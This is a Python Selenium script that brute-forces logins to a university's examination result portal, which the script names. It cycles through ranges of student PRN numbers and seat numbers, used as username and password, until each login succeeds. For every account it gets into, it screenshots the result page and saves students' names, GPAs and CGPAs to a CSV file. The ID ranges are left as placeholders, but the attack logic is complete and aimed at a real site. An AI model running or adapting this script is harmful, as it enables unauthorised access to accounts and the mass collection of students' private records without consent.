script.py

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException

from PIL import Image

import csv


import os
os.mkdir("result")


# MAKE CHANGE HERE
start_prn = #########
end_prn = #########

# MAKE CHANGE HERE
start_seat_num = #########
end_seat_num = #########


csvfile = open("./result/data.csv", "w")
csvwriter = csv.writer(csvfile)
csvwriter.writerow(["PRN", "Seat Number", "Name", "GPA", "CGPA"])

prn = []
seat_num = []


for i in range(start_prn, end_prn + 1):
    prn.append(i)

for i in range(start_seat_num, end_seat_num + 1):
    seat_num.append(i)


chrome_options = webdriver.ChromeOptions()

chrome_options.add_argument('--headless')
chrome_options.add_argument('--start-maximized')
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--disable-dev-shm-usage')

browser = webdriver.Chrome(options=chrome_options)


for username in prn:

    browser.get("https://www.examination.siu.edu.in/examination/result.html")
    browser.switch_to.frame(0)


    usernameExists = True
    seatnumExists = False


    for password in seat_num:

        browser.find_element_by_id("login").send_keys(username)

        browser.find_element_by_name("Submit").click()

        if "Login failed. Please try again." in browser.page_source:
            usernameExists = False
            break

        browser.find_element_by_id("login").send_keys(password)

        browser.find_element_by_name("Submit").click()

        try:
            WebDriverWait(browser, 3).until(EC.alert_is_present())
            alert = browser.switch_to.alert
            alert.accept()

        except TimeoutException:
            seatnumExists = True
            break
    

    if not usernameExists:
        continue

    if not seatnumExists:
        continue


    ele = browser.find_element("xpath", "/html")
    total_height = ele.size["height"] + 1000

    browser.set_window_size(1920, total_height)
    browser.save_screenshot(f"./result/{username}.png")

    element = browser.find_element_by_xpath("/html/body/div[3]/div/div/div/div/table/tbody/tr/td/table/tbody")

    location = element.location
    size = element.size

    x = location['x']
    y = location['y']
    width = location['x'] + size['width']
    height = location['y'] + size['height']

    im = Image.open(f"./result/{username}.png")
    im = im.crop((int(x), int(y), int(width), int(height)))
    im.save(f"./result/{username}.png")


    seat_num.remove(password)

    name = browser.find_element_by_xpath("//*[contains(text(), 'NAME')]/../../td[2]").text
    gpa = browser.find_element_by_xpath("//*[contains(text(), 'GPA')]/..").text
    cgpa = browser.find_element_by_xpath("//*[contains(text(), 'CGPA')]/..").text

    csvwriter.writerow([username, password, name[3:], gpa[8:], cgpa[9:]])


csvfile.close()
browser.quit()

# END OF SCRIPT